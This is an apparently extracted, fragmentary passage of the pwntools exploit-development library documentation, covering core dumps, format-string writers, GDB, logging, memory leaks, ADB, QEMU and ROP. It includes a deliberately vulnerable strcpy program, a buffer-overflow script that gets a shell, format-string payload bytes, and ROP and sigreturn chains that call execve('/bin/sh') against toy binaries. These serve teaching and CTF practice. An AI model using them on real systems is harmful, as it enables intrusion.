>>> parse_kconfig('FOO=n')
{'FOO': False}
>>> parse_kconfig('FOO=bar')
{'FOO': 'bar'}
>>> parse_kconfig('# FOO is not set')
{'FOO': None}
For example, if you have a trivial buffer overflow and don’t want to open up a debugger or calculate offsets, you can
use a generated core dump to extract the relevant information.
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
system("sh");
}
int main(int argc, char** argv) {
char buffer[64];
strcpy(buffer, argv[1]);
}
# Our cyclic pattern should have been used as the crashing address
assert pack(core.eip) in payload
# Cool! Now let's just replace that value with the address of 'win'
crash = ELF('./crash')
payload = fit({
cyclic_find(core.eip): crash.symbols.win
})
# Get a shell!
io = process(['./crash', payload])
io.sendline(b'id')
print(io.recvline())
# uid=1000(user) gid=1000(user) groups=1000(user)
Module Members
>>> c = Corefile('./core')
>>> hex(c.eax)
'0xfff5f2e0'
>>> c.registers
{'eax': 4294308576,
'ebp': 1633771891,
'ebx': 4151132160,
'ecx': 4294311760,
'edi': 0,
'edx': 4294308700,
'eflags': 66050,
'eip': 1633771892,
'esi': 0,
'esp': 4294308656,
'orig_eax': 4294967295,
(continues on next page)
>>> Corefile('./core').mappings
[Mapping('/home/user/pwntools/crash', start=0x8048000, stop=0x8049000,
˓→size=0x1000, flags=0x5, page_offset=0x0),
Example
Let’s build an example binary which should eat R0=0xdeadbeef and PC=0xcafebabe.
If we run the binary and then wait for it to exit, we can get its core file.
>>> context.clear(arch='arm')
>>> shellcode = shellcraft.mov('r0', 0xdeadbeef)
>>> shellcode += shellcraft.mov('r1', 0xcafebabe)
>>> shellcode += 'bx r1'
(continues on next page)
You can specify a full path a la Corefile('/path/to/core'), but you can also just access the
process.corefile attribute.
The core file has a Corefile.exe property, which is a Mapping object. Each mapping can be accessed
with virtual addresses via subscript, or contents can be examined via the Mapping.data attribute.
The core file also has registers which can be accessed direclty. Pseudo-registers pc and sp are available on all
architectures, to make writing architecture-agnostic code more simple.
We may not always know which signal caused the core dump, or what address caused a segmentation fault.
Instead of accessing registers directly, we can also extract this information from the core dump.
On QEMU-generated core dumps, this information is unavailable, so we substitute the value of PC. In our
example, that’s correct anyway.
Core files can also be generated from running processes. This requires GDB to be installed, and can only be
done with native processes. Getting a “complete” corefile requires GDB 7.11 or better.
>>> core.exe[elf.address:elf.address+4]
b'\x7fELF'
>>> core.exe.data[:4]
b'\x7fELF'
Various other mappings are available by name. On Linux, 32-bit Intel binaries should have a VDSO section.
Since our ELF is statically linked, there is no libc which gets mapped.
>>> core.vdso.data[:4]
b'\x7fELF'
>>> core.libc # doctest: +ELLIPSIS
Mapping('/lib/x86_64-linux-gnu/libc-...', ...)
The corefile also contains a Corefile.stack property, which gives us direct access to the stack contents.
On Linux, the very top of the stack should contain two pointer-widths of NULL bytes, preceded by the NULL-
terminated path to the executable (as passed via the first arg to execve).
>>> context.clear(arch='amd64')
>>> elf = ELF.from_assembly('push 1234; ret')
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.fault_addr
1234
Tests:
These are extra tests not meant to serve as examples.
Corefile.getenv() works correctly, even if the environment variable’s value contains embedded ‘=’.
Corefile is able to find the stack, even if the stack pointer doesn’t point at the stack.
Corefile gracefully handles the stack being filled with garbage, including argc / argv / envp being
overwritten.
>>> context.clear(arch='i386')
>>> assembly = '''
... LOOP:
... mov dword ptr [esp], 0x41414141
... pop eax
... jmp LOOP
... '''
>>> elf = ELF.from_assembly(assembly)
>>> io = elf.process()
>>> io.wait()
>>> core = io.corefile
[!] End of the stack is corrupted, skipping stack parsing (got:
˓→4141414141414141)
debug(*a, **kw)
Open the corefile under a debugger.
getenv(name) → int
Read an environment variable off the stack, and return its contents.
Parameters name (str) – Name of the environment variable to read.
Returns str – The contents of the environment variable.
Example
argc = None
Number of arguments passed
Type int
argc_address = None
Pointer to argc on the stack
Type int
argv = None
List of addresses of arguments on the stack.
Type list
argv_address = None
Pointer to argv on the stack
Type int
env = None
Environment variables read from the stack. Keys are the environment variable name, values are the mem-
ory address of the variable.
Note: Use with the ELF.string() method to extract them.
Note: If FOO=BAR is in the environment, self.env[‘FOO’] is the address of the string “BARx00”.
Type dict
envp_address = None
Pointer to envp on the stack
Type int
exe
First mapping for the executable file.
Type Mapping
fault_addr
Address which generated the fault, for the signals SIGILL, SIGFPE, SIGSEGV, SIGBUS. This is only
available in native core dumps created by the kernel. If the information is unavailable, this returns the
address of the instruction pointer.
Example
Type int
libc
First mapping for libc.so
Type Mapping
mappings = None
Dictionary of memory mappings from address to name
Type dict
maps
A printable string which is similar to /proc/xx/maps.
>>> print(Corefile('./core').maps)
8048000-8049000 r-xp 1000 /home/user/pwntools/crash
8049000-804a000 r--p 1000 /home/user/pwntools/crash
804a000-804b000 rw-p 1000 /home/user/pwntools/crash
f7528000-f7529000 rw-p 1000 None
f7529000-f76d1000 r-xp 1a8000 /lib/i386-linux-gnu/libc-2.19.so
f76d1000-f76d2000 ---p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d2000-f76d4000 r--p 2000 /lib/i386-linux-gnu/libc-2.19.so
f76d4000-f76d5000 rw-p 1000 /lib/i386-linux-gnu/libc-2.19.so
f76d5000-f76d8000 rw-p 3000 None
f76ef000-f76f1000 rw-p 2000 None
f76f1000-f76f2000 r-xp 1000 [vdso]
f76f2000-f7712000 r-xp 20000 /lib/i386-linux-gnu/ld-2.19.so
f7712000-f7713000 r--p 1000 /lib/i386-linux-gnu/ld-2.19.so
f7713000-f7714000 rw-p 1000 /lib/i386-linux-gnu/ld-2.19.so
fff3e000-fff61000 rw-p 23000 [stack]
Type str
pc
The program counter for the Corefile
This is a cross-platform way to get e.g. core.eip, core.rip, etc.
Type int
pid
PID of the process which created the core dump.
Type int
ppid
Parent PID of the process which created the core dump.
Type int
prpsinfo = None
The NT_PRPSINFO object
prstatus = None
The NT_PRSTATUS object.
registers
All available registers in the coredump.
Example
>>> io = elf.process()
>>> io.wait()
>>> io.corefile.registers['eax'] == 0xdeadbeef
True
Type dict
siginfo = None
The NT_SIGINFO object
signal
Signal which caused the core to be dumped.
Example
Type int
sp
The program counter for the Corefile
This is a cross-platform way to get e.g. core.esp, core.rsp, etc.
Type int
stack = None
Address of the stack base
Type int
vdso
Mapping for the vdso section
Type Mapping
vsyscall
Mapping for the vsyscall section
Type Mapping
vvar
Mapping for the vvar section
Type Mapping
class pwnlib.elf.corefile.Mapping(core, name, start, stop, flags, page_offset)
Encapsulates information about a memory mapping in a Corefile.
find(sub, start=None, end=None)
Similar to str.find() but works on our address space
rfind(sub, start=None, end=None)
Similar to str.rfind() but works on our address space
address
Alias for Mapping.start.
Type int
data
Memory of the mapping.
Type str
flags = None
Mapping flags, using e.g. PROT_READ and so on.
Type int
name = None
Name of the mapping, e.g. '/bin/bash' or '[vdso]'.
Type str
page_offset = None
Offset in pages in the mapped file
Type int
path
Alias for Mapping.name
Type str
permstr
Human-readable memory permission string, e.g. r-xp.
Type str
size = None
Size of the mapping, in bytes
Type int
start = None
First mapped byte in the mapping
Type int
stop = None
First byte after the end of hte mapping
Type int
Examples
# we want to do 3 writes
writes = {0x08041337: 0xbfffffff,
0x08041337+4: 0x1337babe,
0x08041337+8: 0xdeadbeef}
Examples
'0x0'
Examples
Examples
Examples
>>> initial = {(0,0): (0,0,0), (0,1): None, (1,0): None, (1,1): None}
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 0xFF, 0x1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 0)
(1, 1, 255)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 1), 0, 1)
(0, 0, 0)
>>> pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0, 1, 0), 0, 1)
(1, 0, 255)
>>> repr(pwnlib.fmtstr.find_min_hamming_in_range_step(initial, (0xFF, 0x00, 0xFF),
˓→ 1, 0))
'None'
Examples
˓→'
b'%327679c%7$lln%18c%8$hhn\x00\x00\x00\x00\x03\x00\x00\x00'
• szmax (int) – maximum write size in bytes. No atoms with a size larger than this are
generated (ignored for strategy ‘fast’)
• numbwritten (int) – number of byte already written by the printf function
• overflows (int) – how many extra overflows (of size sz) to tolerate to reduce the length
of the format string
• strategy (str) – either ‘fast’ or ‘small’
• badbytes (str) – bytes that are not allowed to appear in the payload
pwnlib.fmtstr.make_atoms_simple(address, data, badbytes=frozenset([]))
Build format string atoms for writing some data at a given address where some bytes are not allowed to appear
in addresses (such as nullbytes).
This function is simple and does not try to minimize the number of atoms. For example, if there are no bad
bytes, it simply returns one atom for each byte:
Examples
(b'%255c%1$hhn', b'\x00\x00\x00\x00')
• overflows (int) – how many extra overflows (of size sz) to tolerate to reduce the number
of atoms
Examples
pwnlib.fmtstr.merge_atoms_writesize(atoms, maxsize)
Merge consecutive atoms based on size.
This function simply merges adjacent atoms as long as the merged atom’s size is not larger than maxsize.
Examples
pwnlib.fmtstr.normalize_writes(writes)
This function converts user-specified writes to a dict { address1: data1, address2: data2, .
.. } such that all values are raw bytes and consecutive writes are merged to a single key.
Examples
pwnlib.fmtstr.overlapping_atoms(atoms)
Finds pairs of atoms that write to the same address.
Basic examples:
[]
(continues on next page)
When there are transitive overlaps, only the largest overlap is returned. For example:
˓→mask=0xffffffff))]
Even though AtomWrite(0, 3, 0) and AtomWrite(2, 4, 1) overlap as well that overlap is not re-
turned as only the largest overlap is returned.
pwnlib.fmtstr.sort_atoms(atoms, numbwritten)
This function sorts atoms such that the amount by which the format string counter has to been increased between
consecutive atoms is minimized.
The idea is to reduce the amount of data the the format string has to output to write the desired atoms. For
example, directly generating a format string for the atoms [AtomWrite(0, 1, 0xff), AtomWrite(1,
1, 0xfe)] is suboptimal: we’d first need to output 0xff bytes to get the counter to 0xff and then output
0x100+1 bytes to get it to 0xfe again. If we sort the writes first we only need to output 0xfe bytes and then 1
byte to get to 0xff.
Parameters
• atoms (list) – list of atoms to sort
• numbwritten (int) – the value at which the counter starts
Examples
During exploit development, it is frequently useful to debug the target binary under GDB.
Pwntools makes this easy-to-do with a handful of helper routines, designed to make your exploit-debug-update cycles
much faster.
The attach() and debug() functions will likely be your bread and butter for debugging.
Both allow you to provide a script to pass to GDB when it is started, so that it can automatically set your breakpoints.
Attaching to Processes
To attach to an existing process, just use attach(). It is surprisingly versatile, and can attach to a process for
simple binaries, or will automatically find the correct process to attach to for a forking server, if given a remote
object.
Attaching to processes with attach() is useful, but the state the process is in may vary. If you need to attach to
a process very early, and debug it from the very first instruction (or even the start of main), you instead should use
debug().
When you use debug(), the return value is a tube object that you interact with exactly like normal.
The Linux kernel v3.4 introduced a security mechanism called ptrace_scope, which is intended to prevent pro-
cesses from debugging eachother unless there is a direct parent-child relationship.
This causes some issues with the normal Pwntools workflow, since the process heirarchy looks like this:
Member Documentation
pwnlib.gdb.attach(target, gdbscript = None, exe = None, arch = None, ssh = None) → None
Start GDB in a new terminal and attach to target.
Parameters
• target – The target to attach to.
• gdbscript (str or file) – GDB script to run after attaching.
• exe (str) – The path of the target binary.
• arch (str) – Architechture of the target binary. If exe known GDB will detect the ar-
chitechture automatically (if it is supported).
• gdb_args (list) – List of additional arguments to pass to GDB.
• sysroot (str) – Foreign-architecture sysroot, used for QEMU-emulated binaries and
Android targets.
Returns PID of the GDB process (or the window which it is running in).
Notes
The target argument is very robust, and can be any of the following:
int PID of a process
str Process name. The youngest process is selected.
tuple Host, port pair of a listening gdbserver
process Process to connect to
sock Connected socket. The executable on the other end of the connection is attached to. Can be any socket
type, including listen or remote.
ssh_channel Remote process spawned via ssh.process(). This will use the GDB installed on the
remote machine. If a password is required to connect, the sshpass program must be installed.
Examples
# Start a process
bash = process('bash')
# Attach a debugger to it
gdb.attach(cat, '''
break exit
continue
''')
pwnlib.gdb.binary() → str
Returns str – Path to the appropriate gdb binary to use.
Example
pwnlib.gdb.corefile(process)
Drops a core file for the process.
Parameters process – Process to dump
Notes
The debugger is attached automatically, and you can debug everything from the very beginning. This requires
that both gdb and gdbserver are installed on your machine.
When GDB opens via debug(), it will initially be stopped on the very first instruction of the dynamic linker
(ld.so) for dynamically-linked binaries.
Only the target binary and the linker will be loaded in memory, so you cannot set breakpoints on shared library
routines like malloc since libc.so has not even been loaded yet.
There are several ways to handle this:
1. Set a breakpoint on the executable’s entry point (generally, _start)
• This is only invoked after all of the required shared libraries are loaded.
• You can generally get the address via the GDB command info file.
2. Use pending breakpoints via set breakpoint pending on
• This has the side-effect of setting breakpoints for every function which matches the name. For
malloc, this will generally set a breakpoint in the executable’s PLT, in the linker’s internal
malloc, and eventaully in libc’s malloc.
3. Wait for libraries to be loaded with set stop-on-solib-event 1
• There is no way to stop on any specific library being loaded, and sometimes multiple libraries are
loaded and only a single breakpoint is issued.
• Generally, you just add a few continue commands until things are set up the way you want it
to be.
Examples
You can use debug() to spawn new processes on remote machines as well, by using the ssh= keyword to
pass in your ssh instance.
Example
pwnlib.gdb.debug_shellcode(*a, **kw)
Creates an ELF file, and launches it under a debugger.
Parameters
• data (str) – Assembled shellcode bytes
• gdbscript (str) – Script to run in GDB
• vma (int) – Base address to load the shellcode at
• **kwargs – Override any pwnlib.context.context values.
Returns process
Example
info sharedlibrary
From To Syms Read Shared Object Library
0xf7fdc820 0xf7ff505f Yes (*) /lib/ld-linux.so.2
0xf7fbb650 0xf7fc79f8 Yes /lib32/libpthread.so.0
0xf7e26f10 0xf7f5b51c Yes (*) /lib32/libc.so.6
(*): Shared library is missing debugging information.
Note that the raw addresses provided by info sharedlibrary are actually the address of the .text
segment, not the image base address.
This routine automates the entire process of:
Parameters
• binary (str) – Path to the binary on the remote server
• ssh (pwnlib.tubes.tube) – SSH connection through which to load the libraries. If
left as None, will use a pwnlib.tubes.process.process.
• ulimit (bool) – Set to True to run “ulimit -s unlimited” before GDB.
Returns A list of pwnlib.elf.ELF objects, with correct base addresses.
Example:
pwnlib.gdb.version(program=’gdb’)
Gets the current GDB version.
Example
Examples
pwnlib.libcdb.search_by_sha1(hex_encoded_id)
Given a hex-encoded sha1, attempt to download a matching libc from libcdb.
Parameters hex_encoded_id (str) – Hex-encoded Build ID (e.g. ‘ABCDEF. . . ’) of the library
Returns Path to the downloaded library on disk, or None.
Examples
pwnlib.libcdb.search_by_sha256(hex_encoded_id)
Given a hex-encoded sha256, attempt to download a matching libc from libcdb.
Parameters hex_encoded_id (str) – Hex-encoded Build ID (e.g. ‘ABCDEF. . . ’) of the library
Returns Path to the downloaded library on disk, or None.
Examples
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha256('XX')
True
pwnlib.libcdb.search_by_md5(hex_encoded_id)
Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.
Parameters hex_encoded_id (str) – Hex-encoded Build ID (e.g. ‘ABCDEF. . . ’) of the library
Returns Path to the downloaded library on disk, or None.
Examples
Logging module for printing status during an exploit, and internally within pwntools.
By using the standard from pwn import *, an object named log will be inserted into the global namespace. You
can use this to print out status messages during exploitation.
For example,:
log.info('Hello, world!')
prints:
Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-
forcing).:
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
The verbosity of logging can be most easily controlled by setting log_level on the global context object.:
The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you
can put all logging events into a log file, while only wanting to see a small subset of them on your screen.
This provides an easy way to filter logging programmatically or via a configuration file for debugging.
When using progress, you should use the with keyword to manage scoping, to ensure the spinner stops if an
exception is thrown.
particular there are tight loops inside pwnlib.tubes.tube, which we would like to be able to debug, but if we are
not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside
pwnlib, that will not even emit a record without context.log_level being set to logging.DEBUG or below.
Log records created by Progress and Logger objects will set 'pwnlib_msgtype' on the extra field to signal
which kind of message was generated. This information is used by the formatter to prepend a symbol to the message,
e.g. '[+] ' in '[+] got a shell!'
This field is ignored when using the logging module’s standard formatters.
All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created.
The extra field then carries a reference to the Progress logger as 'pwnlib_progress'.
If the custom handler determines that term.term_mode is enabled, log records that have a 'pwnlib_progess'
in their extra field will not result in a message being emitted but rather an animated progress line (with a spinner!)
being created. Note that other handlers will still see a meaningful log record.
The custom handler will only handle log records whith a level of at least context.log_level. Thus if e.g. the
level for the 'pwnlib.tubes.ssh' is set to 'DEBUG' no additional output will show up unless context.
log_level is also set to 'DEBUG'. Other handlers will however see the extra log records generated by the
'pwnlib.tubes.ssh' logger.
pwnlib.log.install_default_handler()
Instantiates a Handler and Formatter and installs them for the pwnlib root logger. This function is
automatically called from when importing pwn.
class pwnlib.log.Progress(logger, msg, status, level, args, kwargs)
Progress logger used to generate log records associated with some running job. Instances can be used as context
managers which will automatically declare the running job a success upon exit or a failure upon a thrown
exception. After success() or failure() is called the status can no longer be updated.
This class is intended for internal use. Progress loggers should be created using Logger.progress().
status(status, *args, **kwargs)
Logs a status update for the running job.
If the progress logger is animated the status line will be updated in place.
Status updates are throttled at one update per 100ms.
success(status = ’Done’, *args, **kwargs)
Logs that the running job succeeded. No further status updates are allowed.
If the Logger is animated, the animation is stopped.
failure(message)
Logs that the running job failed. No further status updates are allowed.
If the Logger is animated, the animation is stopped.
class pwnlib.log.Logger(logger=None)
A class akin to the logging.LoggerAdapter class. All public methods defined on logging.Logger
instances are defined on this class.
Also adds some pwnlib flavor:
• progress() (alias waitfor())
• success()
• failure()
• indented()
• info_once()
waitfor(*args, **kwargs)
Alias for progress().
indented(message, *args, level = logging.INFO, **kwargs)
Log a message but don’t put a line prefix on it.
Parameters level (int) – Alternate log level at which to set the indented message. Defaults
to logging.INFO.
success(message, *args, **kwargs)
Logs a success message.
failure(message, *args, **kwargs)
Logs a failure message.
info_once(message, *args, **kwargs)
Logs an info message. The same message is never printed again.
warning_once(message, *args, **kwargs)
Logs a warning message. The same message is never printed again.
warn_once(*args, **kwargs)
Alias for warning_once().
debug(message, *args, **kwargs)
Logs a debug message.
info(message, *args, **kwargs)
Logs an info message.
warning(message, *args, **kwargs)
Logs a warning message.
warn(*args, **kwargs)
Alias for warning().
error(message, *args, **kwargs)
To be called outside an exception handler.
Logs an error message, then raises a PwnlibException.
The record’s attribute dictionary is used as the operand to a string formatting operation which yields the
returned string. Before formatting the dictionary, a couple of preparatory steps are carried out. The mes-
sage attribute of the record is computed using LogRecord.getMessage(). If the formatting string uses the
time (as determined by a call to usesTime(), formatTime() is called to format the event time. If there is
exception information, it is formatted using formatException() and appended to the message.
Example
static NoNewlines(function)
Wrapper for leak functions such that addresses which contain newline bytes are not leaked.
This is useful if the address which is used for the leak is provided by e.g. fgets().
static NoNulls(function)
Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.
This is useful if the address which is used for the leak is read in via a string-reading function like
scanf("%s") or smilar.
static NoWhitespace(function)
Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.
This is useful if the address which is used for the leak is read in via e.g. scanf().
static String(function)
Wrapper for leak functions which leak strings, such that a NULL terminator is automaticall added.
This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. printf().
b(addr, ndx = 0) → int
Leak byte at ((uint8_t*) addr)[ndx]
Examples
Examples
Examples
Examples
Examples
Examples
field(address, obj)
field(address, field) => a structure field.
Leak a field from a structure.
Parameters
• address (int) – Base address to calculate offsets from
• field (obj) – Instance of a ctypes field
Return Value: The type of the return value will be dictated by the type of field.
Return Value: The type of the return value will be dictated by the type of field.
Examples
Examples
Examples
See setw().
p64(addr, val, ndx=0)
Sets qword at ((uint64_t*)addr)[ndx] to val in the cache.
Examples
See setw().
p8(addr, val, ndx=0)
Sets byte at ((uint8_t*)addr)[ndx] to val in the cache.
Examples
Examples
Examples
Examples
Examples
See setw().
setq(addr, val, ndx=0)
Sets qword at ((uint64_t*)addr)[ndx] to val in the cache.
Examples
See setw().
sets(addr, val, null_terminate=True)
Set known string at addr, which will be optionally be null-terminated
Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will
not stop at the first null.
Examples
True
Examples
struct(address, struct)
struct(address, struct) => structure object Leak an entire structure. :param address: Addess of structure in
memory :type address: int :param struct: A ctypes structure to be instantiated with leaked data :type struct:
class
Return Value: An instance of the provided struct class, with the leaked data decoded
Examples
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
... return b"A"
>>> e = leaker.struct(0, pwnlib.elf.Elf32_Phdr)
>>> hex(e.p_paddr)
'0x41414141'
u16(addr, ndx=0)
w(addr, ndx = 0) -> int
Leak word at ((uint16_t*) addr)[ndx]
Examples
u32(addr, ndx=0)
d(addr, ndx = 0) -> int
Leak dword at ((uint32_t*) addr)[ndx]
Examples
u64(addr, ndx=0)
q(addr, ndx = 0) -> int
Leak qword at ((uint64_t*) addr)[ndx]
Examples
u8(addr, ndx=0)
b(addr, ndx = 0) -> int
Leak byte at ((uint8_t*) addr)[ndx]
Examples
Examples
Examples
>>> pwnlib.protocols.adb.AdbClient().execute(['echo','hello']).recvall()
b'hello\n'
kill(*a, **kw)
Kills the remote ADB server”
>>> c=pwnlib.protocols.adb.AdbClient()
>>> c.kill()
The server is automatically re-started on the next request, if the default host/port are used.
>>> c.version() > (4,0)
True
list(path)
Execute the LIST command of the SYNC API.
Parameters path (str) – Path of the directory to list.
Returns A dictionary, where the keys are relative filenames, and the values are a dictionary
containing the same values as stat() supplies.
Note: In recent releases of Android (e.g. 7.0), the domain that adbd executes from does not have access
to everything that the shell user does.
Because of this, while the shell user can get listings of e.g. the root directory (‘/’), adbd cannot.
The SYNC APIs are executed within the adbd context, not the shell user context.
This issue is not a problem if the phone is rooted via ‘adb root’, since adbd then runs in the su domain.
Examples
>>> pprint(AdbClient().list('/data/user'))
{'0': {'mode': 41471, 'size': 11, 'time': ...}}
>>> AdbClient().list('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Cannot list directory '/does/not/exist': Does not exist
read(*a, **kw)
Execute the READ command of the SYNC API.
Parameters
• path (str) – Path to the file to read
• filesize (int) – Size of the file, in bytes. Optional.
• callback (callable) – Callback function invoked as data becomes available. Argu-
ments provided are:
– File path
– All data
– Expected size of all data
– Current chunk
– Expected size of chunk
Returns The data received as a string.
recvl()
Receives a length-prefixed data buffer from the ADB server
send(*a, **kw)
Sends data to the ADB server
stat(*a, **kw)
Execute the STAT command of the SYNC API.
Parameters path (str) – Path to the file to stat.
Returns On success, a dictionary mapping the values returned. If the file cannot be stat() ed,
None is returned.
Example
track_devices(*a, **kw)
Returns Generator which returns a short-format listing of available devices each time a device
state changes.
transport(serial=None)
Sets the Transport on the rmeote device.
Examples
>>> pwnlib.protocols.adb.AdbClient().transport()
unpack(*a, **kw)
Receives a hex-ascii packed integer from the ADB server
version(*a, **kw)
Returns Tuple containing the (major, minor) version from the ADB server
Example
2.20.1 Overview
Debugging
When debugging binaries with gdb.debug(), pwntools automatically adds the appropriate command-line flags to
QEMU to start its GDB stub, and automatically informs GDB of the correct architecture and sysroot.
Sysroot
You can override the default sysroot by setting the QEMU_LD_PREFIX environment variable. This affects where
qemu will look for files when open() is called, e.g. when the linker is attempting to resolve libc.so.
For Ubuntu 16.04 and newer, the setup is relatively straightforward for most architectures.
First, install the QEMU emulator itself. If your binary is statically-linked, thsi is sufficient.
$ sudo apt-get install qemu-user
If your binary is dynamically linked, you need to install libraries like libc. Generally, this package is named
libc6-$ARCH-cross, e.g. libc-mips-cross. ARM comes in both soft-float and hard-float variants, e.g.
armhf.
$ sudo apt-get install libc6-arm64-cross
If your binary relies on additional libraries, you can generally find them easily with apt-cache search. For
example, if it’s a C++ binary it may require libstdc++.
$ apt-cache search ‘libstdc++’ | grep arm64
Any other libraries that you require you’ll have to find some other way.
>>> pwnlib.qemu.archname()
'i386'
>>> pwnlib.qemu.archname(arch='powerpc')
'ppc'
pwnlib.qemu.ld_prefix(*a, **kw)
Returns the linker prefix for the selected qemu-user binary
>>> pwnlib.qemu.ld_prefix(arch='arm')
'/etc/qemu-binfmt/arm'
pwnlib.qemu.user_path(*a, **kw)
Returns the path to the QEMU-user binary for the currently selected architecture.
>>> pwnlib.qemu.user_path()
'qemu-i386-static'
>>> pwnlib.qemu.user_path(arch='thumb')
'qemu-arm-static'
2.22.1 Submodules
Manual ROP
The ROP tool can be used to build stacks pretty trivially. Let’s create a fake binary which has some symbols which
might have been useful.
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'execve': 0xcafebabe,
˓→'exit': 0xfeedface}
Creating a ROP object which looks up symbols in the binary is pretty straightforward.
With the ROP object, you can manually add stack frames.
>>> rop.raw(0)
>>> rop.raw(unpack(b'abcd'))
>>> rop.raw(2)
Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.
>>> print(rop.dump())
0x0000: 0x0
0x0004: 0x64636261
0x0008: 0x2
The ROP module is also aware of how to make function calls with standard Linux ABIs.
You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print(rop.dump())
0x0000: 0x0
0x0004: 0x64636261
0x0008: 0x2
0x000c: 0xdeadbeef read(4, 5, 6)
0x0010: 0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014: 0x4 arg0
0x0018: 0x5 arg1
0x001c: 0x6 arg2
0x0020: b'iaaa' <pad>
0x0024: 0xdecafbad write(7, 8, 9)
0x0028: 0x10000000 <adjust @0x3c> add esp, 0x10; ret
0x002c: 0x7 arg0
0x0030: 0x8 arg1
0x0034: 0x9 arg2
0x0038: b'oaaa' <pad>
0x003c: 0xfeedface exit()
You can also append complex arguments onto stack when the stack pointer is known.
ROP Example
Let’s assume we have a trivial binary that just reads some data onto the stack, and returns.
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
The raw data from the ROP stack is available via str.
>>> p = process(binary.path)
>>> p.send(raw_rop)
>>> print(repr(p.recvall(timeout=5)))
b'The flag'
For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop;
add; ret”-style gadgets, and satisfy requirements so that everything “just works”.
>>> context.clear(arch='amd64')
>>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'
>>> binary = ELF.from_assembly(assembly)
>>> rop = ROP(binary)
>>> rop.target(1,2,3)
>>> print(rop.dump())
0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008: 0x3 [arg2] rdx = 3
0x0010: 0x1 [arg0] rdi = 1
0x0018: 0x2 [arg1] rsi = 2
0x0020: b'iaaajaaa' <pad 0x20>
0x0028: b'kaaalaaa' <pad 0x18>
0x0030: b'maaanaaa' <pad 0x10>
0x0038: b'oaaapaaa' <pad 0x8>
0x0040: 0x10000008 target
>>> rop.target(1)
>>> print(rop.dump())
0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret
0x0008: 0x3 [arg2] rdx = 3
0x0010: 0x1 [arg0] rdi = 1
0x0018: 0x2 [arg1] rsi = 2
0x0020: b'iaaajaaa' <pad 0x20>
0x0028: b'kaaalaaa' <pad 0x18>
0x0030: b'maaanaaa' <pad 0x10>
0x0038: b'oaaapaaa' <pad 0x8>
0x0040: 0x10000008 target
0x0048: 0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret
0x0050: 0x1 [arg0] rdi = 1
0x0058: b'waaaxaaa' <pad rsi>
0x0060: b'yaaazaab' <pad 0x20>
0x0068: b'baabcaab' <pad 0x18>
0x0070: b'daabeaab' <pad 0x10>
0x0078: b'faabgaab' <pad 0x8>
0x0080: 0x10000008 target
Pwntools will also filter out some bad instructions while setting the registers ( e.g. syscall, int 0x80. . . )
>>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx;
˓→ ret ; pop rdi ; ret'
ROP + Sigreturn
In some cases, control of the desired register is not available. However, if you have control of the stack, EAX, and can
find a int 0x80 gadget, you can use sigreturn.
Even better, this happens automagically.
Our example binary will read some data onto the stack, and not do anything else interesting.
>>> context.clear(arch='i386')
>>> c = constants
>>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)
>>> assembly += 'ret\n'
>>> assembly += 'pop eax; ret\n'
>>> assembly += 'int 0x80\n'
>>> assembly += 'binsh: .asciz "/bin/sh"'
>>> binary = ELF.from_assembly(assembly)
>>> print(rop.dump())
0x0000: 0x1000000e pop eax; ret
0x0004: 0x77 [arg0] eax = SYS_sigreturn
0x0008: 0x1000000b int 0x80
0x000c: 0x0 gs
0x0010: 0x0 fs
0x0014: 0x0 es
0x0018: 0x0 ds
0x001c: 0x0 edi
0x0020: 0x0 esi
0x0024: 0x0 ebp
0x0028: 0x0 esp
0x002c: 0x10000012 ebx = binsh
0x0030: 0x0 edx
0x0034: 0x0 ecx
0x0038: 0xb eax = SYS_execve
0x003c: 0x0 trapno
0x0040: 0x0 err
0x0044: 0x1000000b int 0x80
0x0048: 0x23 cs
0x004c: 0x0 eflags
0x0050: 0x0 esp_at_signal
0x0054: 0x2b ss
0x0058: 0x0 fpstate
>>> p = process(binary.path)
>>> p.send(rop.chain())
>>> time.sleep(1)
>>> p.sendline(b'echo hello; exit')
(continues on next page)
elf = ELF('ropasaurusrex')
rop = ROP(elf)
rop.read(0, elf.bss(0x80))
rop.dump()
# ['0x0000: 0x80482fc (read)',
# '0x0004: 0xdeadbeef',
# '0x0008: 0x0',
# '0x000c: 0x80496a8']
bytes(rop)
# '\xfc\x82\x04\x08\xef\xbe\xad\xde\x00\x00\x00\x00\xa8\x96\x04\x08'
Parameters
